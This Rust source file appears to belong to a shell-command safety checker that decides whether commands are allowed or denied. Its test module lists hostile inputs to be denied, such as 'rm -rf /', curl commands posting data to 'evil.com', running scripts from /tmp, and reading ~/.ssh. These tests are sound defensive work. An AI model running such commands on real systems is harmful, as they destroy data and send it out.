safe_chains/cst/

check.rs

use super::*;
use crate::handlers;
use crate::parse::Token;
use crate::verdict::{SafetyLevel, Verdict};

pub fn command_verdict(input: &str) -> Verdict {
    let Some(script) = parse(input) else {
        return Verdict::Denied;
    };
    script_verdict(&script)
}

pub fn is_safe_command(input: &str) -> bool {
    command_verdict(input).is_allowed()
}

fn script_verdict(script: &Script) -> Verdict {
    // HP-19 #2: track cwd across statements. Each statement is evaluated with the current
    // running cwd installed (so a later relative path resolves against it), and a `cd DIR`
    // statement updates that running cwd for the statements after it. Fail-open: an
    // unresolvable `cd` (bare / `~` / `$VAR`) leaves the running cwd unchanged.
    let mut running = crate::pathctx::cwd();
    let mut verdict = Verdict::Allowed(SafetyLevel::Inert);
    for stmt in &script.0 {
        let v = {
            let _cwd = crate::pathctx::enter_cwd(running.clone());
            pipeline_verdict(&stmt.pipeline)
        };
        verdict = verdict.combine(v);
        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
        if next.is_some() {
            running = next;
        }
    }
    verdict
}

/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
fn cd_target(pipeline: &Pipeline) -> Option<String> {
    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
        return None;
    };
    if s.words.first()?.eval() != "cd" {
        return None;
    }
    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
}

#[cfg(test)]
pub(crate) fn is_safe_script(script: &Script) -> bool {
    script_verdict(script).is_allowed()
}

pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
    let mut prev: Option<&Cmd> = None;
    for cmd in &pipeline.commands {
        // In `A | xargs CMD`, xargs injects A's stdout items as CMD's operands. Bind the
        // stdin-item representative to A's output-path locus so the injected operand is gated
        // there (the same idea as `find -exec`'s `{}` binding, sourced from the pipe instead).
        let _stdin = prev.map(|p| crate::pathctx::enter_stdin_repr(pipe_source_repr(p)));
        acc = acc.combine(cmd_verdict(cmd));
        prev = Some(cmd);
    }
    acc
}

/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
/// must deny in BOTH gate layers.
const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";

/// A representative PATH for the items `cmd` emits on stdout, used to gate an operand-injecting
/// consumer downstream (`… | xargs cat`). Only producers that PROVABLY emit workspace-bounded
/// paths yield a worktree representative; everything else worst-cases to `UNKNOWN_ITEM`.
fn pipe_source_repr(cmd: &Cmd) -> String {
    let Cmd::Simple(s) = cmd else {
        return UNKNOWN_ITEM.to_string();
    };
    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
    let Some(first) = words.first() else {
        return UNKNOWN_ITEM.to_string();
    };
    let name = Token::from_raw(first.clone()).command_name().to_string();
    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
    match name.as_str() {
        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
        "find" | "fd" | "fdfind" => {
            let roots = find_roots(&args);
            let base = roots.iter().find(|r| !source_ok(r)).copied().unwrap_or(".");
            format!("{}/sc_item", base.trim_end_matches('/'))
        }
        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
        "ls" => {
            if args.contains(&"-d") {
                worst_arg_repr(&args)
            } else {
                "sc_item".to_string()
            }
        }
        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
        "echo" | "printf" => worst_arg_repr(&args),
        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
        "git" => match args.first() {
            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
            _ => UNKNOWN_ITEM.to_string(),
        },
        _ => UNKNOWN_ITEM.to_string(),
    }
}

/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
/// a granted dir), so paths derived from it are safe operands.
fn source_ok(path: &str) -> bool {
    crate::engine::resolve::read_content_verdict(path).is_allowed()
}

/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
/// whose read is denied, else a worktree placeholder.
fn worst_arg_repr(args: &[&str]) -> String {
    args.iter()
        .filter(|a| !a.starts_with('-'))
        .find(|a| !source_ok(a))
        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
}

/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
    let mut i = 0;
    while i < args.len() {
        match args[i] {
            "-H" | "-L" | "-P" => i += 1,
            "-D" | "-O" => i += 2,
            _ => break,
        }
    }
    let mut roots = Vec::new();
    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
        roots.push(args[i]);
        i += 1;
    }
    if roots.is_empty() {
        roots.push(".");
    }
    roots
}

pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
    pipeline_verdict(pipeline).is_allowed()
}

pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
    match cmd {
        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
        _ => true,
    }
}

fn has_any_substitution(cmd: &SimpleCmd) -> bool {
    cmd.words.iter().any(has_substitution)
        || cmd.env.iter().any(|(_, v)| has_substitution(v))
}

pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
}

pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
    match cmd {
        Cmd::Simple(s) => simple_verdict(s),
        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
            let body_v = script_verdict(body);
            if let Verdict::Denied = body_v {
                return Verdict::Denied;
            }
            let redir_v = redirect_verdict(redirs);
            if let Verdict::Denied = redir_v {
                return Verdict::Denied;
            }
            body_v.combine(redir_v)
        }
        Cmd::For { var, items, body, redirs } => {
            let redir_v = redirect_verdict(redirs);
            if let Verdict::Denied = redir_v {
                return Verdict::Denied;
            }
            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
            // fail-closing on the bare `$f`.
            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
                Some((read_repr, write_repr)) => {
                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
                    script_verdict(body)
                }
                None => script_verdict(body),
            };
            words_sub_verdict(items).combine(body_v).combine(redir_v)
        }
        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
            let redir_v = redirect_verdict(redirs);
            if let Verdict::Denied = redir_v {
                return Verdict::Denied;
            }
            script_verdict(cond)
                .combine(script_verdict(body))
                .combine(redir_v)
        }
        Cmd::If {
            branches,
            else_body,
            redirs,
        } => {
            let redir_v = redirect_verdict(redirs);
            if let Verdict::Denied = redir_v {
                return Verdict::Denied;
            }
            let mut v = redir_v;
            for b in branches {
                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
            }
            if let Some(eb) = else_body {
                v = v.combine(script_verdict(eb));
            }
            v
        }
        Cmd::DoubleBracket { words, redirs } => {
            words_sub_verdict(words).combine(redirect_verdict(redirs))
        }
    }
}

pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
    cmd_verdict(cmd).is_allowed()
}

fn part_sub_verdict(part: &WordPart) -> Verdict {
    match part {
        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
        WordPart::Backtick(raw) => command_verdict(raw),
        WordPart::DQuote(inner) => word_sub_verdict(inner),
        _ => Verdict::Allowed(SafetyLevel::Inert),
    }
}

fn word_sub_verdict(word: &Word) -> Verdict {
    word.0.iter()
        .map(part_sub_verdict)
        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
}

fn words_sub_verdict(words: &[Word]) -> Verdict {
    words.iter()
        .map(word_sub_verdict)
        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
}

#[cfg(test)]
pub(crate) fn word_subs_safe(word: &Word) -> bool {
    word_sub_verdict(word).is_allowed()
}

fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
    let redir_v = redirect_verdict(&cmd.redirs);
    if let Verdict::Denied = redir_v {
        return Verdict::Denied;
    }

    let env_sub_v = cmd.env.iter()
        .map(|(_, v)| word_sub_verdict(v))
        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
    let word_sub_v = words_sub_verdict(&cmd.words);
    let sub_v = env_sub_v.combine(word_sub_v);

    if let Verdict::Denied = sub_v {
        return Verdict::Denied;
    }

    if cmd.words.is_empty() {
        if cmd.env.is_empty() {
            return Verdict::Allowed(SafetyLevel::Inert);
        }
        return sub_v.combine(redir_v);
    }

    if cmd.words[0].eval() == "eval" {
        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
    }

    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
    // would run is classified — a braced word must not hide a system path from the gate.
    let tokens: Vec<Token> =
        cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
    if tokens.is_empty() {
        return Verdict::Allowed(SafetyLevel::Inert);
    }

    let cmd_v = leaf_verdict(&tokens);
    sub_v.combine(cmd_v).combine(redir_v)
}

/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
/// no opt-out — the engine is the default and only path.
fn leaf_verdict(tokens: &[Token]) -> Verdict {
    let legacy = handlers::dispatch(tokens);
    crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
}

fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
    if cmd.words.len() < 2 {
        return Verdict::Denied;
    }
    for arg in &cmd.words[1..] {
        if !arg_is_eval_safe(arg) {
            return Verdict::Denied;
        }
    }
    Verdict::Allowed(SafetyLevel::Inert)
}

fn arg_is_eval_safe(word: &Word) -> bool {
    let mut found_safe = false;
    for part in &word.0 {
        match part {
            WordPart::Lit(s) | WordPart::SQuote(s) => {
                if !s.chars().all(char::is_whitespace) {
                    return false;
                }
            }
            WordPart::Escape(c) => {
                if !c.is_whitespace() {
                    return false;
                }
            }
            WordPart::CmdSub(script) => {
                if !script_yields_eval_safe(script) {
                    return false;
                }
                found_safe = true;
            }
            WordPart::Backtick(raw) => {
                let Some(script) = parse(raw) else {
                    return false;
                };
                if !script_yields_eval_safe(&script) {
                    return false;
                }
                found_safe = true;
            }
            WordPart::DQuote(inner) => {
                if !arg_is_eval_safe(inner) {
                    return false;
                }
                if has_substitution(inner) {
                    found_safe = true;
                }
            }
            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
        }
    }
    found_safe
}

fn script_yields_eval_safe(script: &Script) -> bool {
    if script.0.len() != 1 {
        return false;
    }
    let stmt = &script.0[0];
    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
        return false;
    }
    let pipeline = &stmt.pipeline;
    if pipeline.bang || pipeline.commands.len() != 1 {
        return false;
    }
    let Cmd::Simple(s) = &pipeline.commands[0] else {
        return false;
    };
    if !s.env.is_empty() {
        return false;
    }
    // A redirect inside the substitution is allowed only if it's inert:
    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
    // A redirect that writes a real file is SafeWrite, not inert, so
    // `mise activate bash > evil` is rejected — eval-safe must not gain a
    // file-write side effect, and diverting stdout to a file is pointless here.
    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
        return false;
    }
    for w in &s.words {
        if !word_is_plain_literal(w) {
            return false;
        }
    }
    let tokens: Vec<Token> =
        s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
    if tokens.is_empty() {
        return false;
    }
    crate::registry::is_eval_safe_invocation(&tokens)
}

/// True iff every character of `word` is drawn from the bare-literal
/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
/// matching this shape consist entirely of identifier-style or
/// path-style tokens that the shell will pass through to the
/// substituted command unchanged at runtime.
///
/// Required for words inside eval-safe substitutions because the
/// "stdout is shell-init code" trust depends on the contributor having
/// vetted what gets passed to the tool. Restricting the alphabet to
/// chars with no shell-expansion semantics keeps the substituted
/// invocation static across parse-time and runtime — what you see in
/// the source is what the tool receives.
fn word_is_plain_literal(word: &Word) -> bool {
    word.0.iter().all(part_is_plain_literal)
}

fn part_is_plain_literal(part: &WordPart) -> bool {
    match part {
        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
        WordPart::Escape(c) => is_bare_literal_char(*c),
        WordPart::DQuote(inner) => word_is_plain_literal(inner),
        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
    }
}

/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
/// and the long-flag value form (`=`). New chars require an explicit
/// eval-safe use case — add by extending this match, never by
/// excluding individual hostile chars.
fn is_bare_literal_char(c: char) -> bool {
    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
}

pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
    redirs.iter().all(|r| match r {
        Redir::Write { target, .. } => target.eval() == "/dev/null",
        Redir::Read { .. }
        | Redir::HereStr(_)
        | Redir::HereDoc { .. }
        | Redir::DupFd { .. } => true,
    })
}

/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
fn is_safe_write_target(path: &str) -> bool {
    crate::engine::resolve::write_target_verdict(path).is_allowed()
}

pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
    let mut level = Verdict::Allowed(SafetyLevel::Inert);
    for r in redirs {
        match r {
            Redir::Write { target, .. } => {
                level = level.combine(word_sub_verdict(target));
                let t = target.eval();
                if t == "/dev/null" {
                    // Inert: no side effect, no promotion.
                } else if is_safe_write_target(&t) {
                    level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
                } else {
                    level = level.combine(Verdict::Denied);
                }
            }
            Redir::Read { target, .. } => {
                level = level.combine(word_sub_verdict(target));
                // Gate the SOURCE by its read locus, like an operand read: `cat < /etc/shadow`
                // must deny just as `cat /etc/shadow` does. A substitution-derived source names
                // an unknowable file → fail-closed to Denied.
                if has_substitution(target) {
                    level = level.combine(Verdict::Denied);
                } else {
                    level = level.combine(crate::engine::resolve::read_content_verdict(&target.eval()));
                }
            }
            Redir::HereStr(word) => {
                level = level.combine(word_sub_verdict(word));
            }
            Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
        }
    }
    level
}

fn has_substitution(word: &Word) -> bool {
    word.0.iter().any(|p| match p {
        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
        WordPart::DQuote(inner) => has_substitution(inner),
        _ => false,
    })
}

#[cfg(test)]
mod tests {
    use super::*;

    fn check(cmd: &str) -> bool {
        is_safe_command(cmd)
    }

    #[test]
    fn loop_variable_inherits_the_list_locus() {
        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
        for cmd in [
            "for f in *.txt; do cat $f; done",
            "for f in *.txt; do rm $f; done",
            "for f in src/*.rs; do grep foo $f; done",
            "for f in *.log; do sed -i s/a/b/ $f; done",
            "for f in a b c; do cat $f.bak; done",
            "for x in 1 2 3; do rm $x; done",
            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
        ] {
            assert!(check(cmd), "worktree loop should allow: {cmd}");
        }
        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
        for cmd in [
            "for f in /etc/*; do cat $f; done",
            "for f in /etc/*.conf; do rm $f; done",
            "for f in ~/.ssh/*; do cat $f; done",
            "for f in $LIST; do rm $f; done",
            "for f in $(find / -name x); do rm -rf $f; done",
            "for d in /etc; do for f in $d/x; do cat $f; done; done",
            // read-worst ≠ write-worst: reading must worst-case ~/notes even though the
            // write-worst item is /etc/hosts — a single representative would be unsound.
            "for f in /etc/hosts ~/notes; do cat $f; done",
        ] {
            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
        }
    }

    safe! {
        grep_foo: "grep foo file.txt",
        jq_key: "jq '.key' file.json",
        base64_d: "base64 -d",
        ls_la: "ls -la",
        wc_l: "wc -l file.txt",
        ps_aux: "ps aux",
        echo_hello: "echo hello",
        cat_file: "cat file.txt",

        version_go: "go --version",
        version_cargo: "cargo --version",
        version_cargo_redirect: "cargo --version 2>&1",
        help_cargo: "cargo --help",
        help_cargo_build: "cargo build --help",

        dev_null_echo: "echo hello > /dev/null",
        dev_null_stderr: "echo hello 2> /dev/null",
        dev_null_append: "echo hello >> /dev/null",
        dev_null_git_log: "git log > /dev/null 2>&1",
        fd_redirect_ls: "ls 2>&1",
        stdin_dev_null: "git log < /dev/null",

        env_prefix: "FOO='bar baz' ls -la",
        env_prefix_dq: "FOO=\"bar baz\" ls -la",
        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",

        subst_echo_ls: "echo $(ls)",
        subst_ls_pwd: "ls `pwd`",
        subst_nested: "echo $(echo $(ls))",
        subst_quoted: "echo \"$(ls)\"",
        assign_subst_ls: "out=$(ls)",
        assign_subst_git: "out=$(git status)",
        assign_subst_multiple: "a=$(ls) b=$(pwd)",
        assign_subst_backtick: "out=`ls`",

        assign_bare_lit: "foo=bar",
        assign_bare_int: "x=1",
        assign_bare_empty: "x=",
        assign_bare_dq: "x=\"foo bar\"",
        assign_bare_sq: "x='foo bar'",
        assign_bare_param: "rc=$?",
        assign_bare_var: "x=$y",
        assign_bare_dollar_var_braced: "x=${y}",
        assign_bare_path: "PATH=/foo",
        assign_bare_multiple: "a=1 b=2 c=3",
        assign_bare_arith: "x=$((1 + 2))",
        assign_in_for_body: "for i in 1 2; do x=1; done",
        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
        assign_then_use: "x=1; echo $x",
        assign_chained_with_safe: "x=1 && ls",
        assign_subshell: "(x=1)",
        assign_in_subshell_with_cmd: "(x=1; ls)",

        subshell_echo: "(echo hello)",
        subshell_ls: "(ls)",
        subshell_chain: "(ls && echo done)",
        subshell_pipe: "(ls | grep foo)",
        subshell_nested: "((echo hello))",
        subshell_for: "(for x in 1 2; do echo $x; done)",

        pipe_grep_head: "grep foo file.txt | head -5",
        pipe_cat_sort_uniq: "cat file | sort | uniq",
        chain_ls_echo: "ls && echo done",
        semicolon_ls_echo: "ls; echo done",
        bg_ls_echo: "ls & echo done",
        newline_echo_echo: "echo foo\necho bar",

        stdin_read_from_path: "wc -l < /tmp/foo.log",
        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",

        here_string_grep: "grep -c , <<< 'hello,world,test'",
        heredoc_cat: "cat <<EOF\nhello world\nEOF",
        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
        heredoc_no_content: "cat <<EOF",
        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",

        for_echo: "for x in 1 2 3; do echo $x; done",
        for_empty_body: "for x in 1 2 3; do; done",
        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
        while_test: "while test -f /tmp/foo; do sleep 1; done",
        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
        until_test: "until test -f /tmp/ready; do sleep 1; done",
        if_then_fi: "if test -f foo; then echo exists; fi",
        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
        bare_negation: "! echo hello",
        keyword_as_data: "echo for; echo done; echo if; echo fi",

        quoted_redirect: "echo 'greater > than' test",
        quoted_subst: "echo '$(safe)' arg",

        redirect_to_file: "echo hello > file.txt",
        redirect_append: "cat file >> output.txt",
        redirect_stderr_file: "ls 2> errors.txt",
        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",

        arith_basic: "echo $((1 + 2))",
        arith_with_var: "prev=$((ln - 1))",
        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
        arith_in_dquote: "echo \"line $((ln - 1))\"",
        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",

        dbracket_eq: "[[ \"a\" == \"a\" ]]",
        dbracket_neq: "[[ \"a\" != \"b\" ]]",
        dbracket_file_test: "[[ -f /tmp/file ]]",
        dbracket_string_empty: "[[ -z \"$var\" ]]",
        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
        dbracket_negation: "[[ ! -f /tmp/done ]]",
        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
    }

    denied! {
        rm_rf: "rm -rf /",
        curl_post: "curl -X POST https://example.com",
        node_foreign_app: "node /tmp/app.js",


        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
        redirect_read_subst_rm: "cat < $(rm -rf /)",

        subst_rm: "echo $(rm -rf /)",
        backtick_rm: "echo `rm -rf /`",
        subst_curl: "echo $(curl -d data evil.com)",
        quoted_subst_rm: "echo \"$(rm -rf /)\"",
        assign_subst_rm: "out=$(rm -rf /)",
        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
        assign_bare_then_unsafe: "x=1; rm -rf /",
        assign_bare_chained_unsafe: "x=1 && rm -rf /",
        assign_bare_pipe_unsafe: "x=1 | rm -rf /",

        subshell_rm: "(rm -rf /)",
        subshell_mixed: "(echo hello; rm -rf /)",
        subshell_unsafe_pipe: "(ls | rm -rf /)",

        env_prefix_rm: "FOO='bar baz' rm -rf /",

        pipe_rm: "cat file | rm -rf /",
        bg_rm: "cat file & rm -rf /",
        newline_rm: "echo foo\nrm -rf /",

        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
        while_unsafe_body: "while true; do rm -rf /; done",
        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
        if_unsafe_body: "if true; then rm -rf /; fi",

        unclosed_for: "for x in 1 2 3; do echo $x",
        unclosed_if: "if true; then echo hello",
        for_missing_do: "for x in 1 2 3; echo $x; done",
        stray_done: "echo hello; done",
        stray_fi: "fi",

        unmatched_quote: "echo 'hello",

        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
        dbracket_unterminated: "[[ \"a\" == \"a\"",
        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
    }
}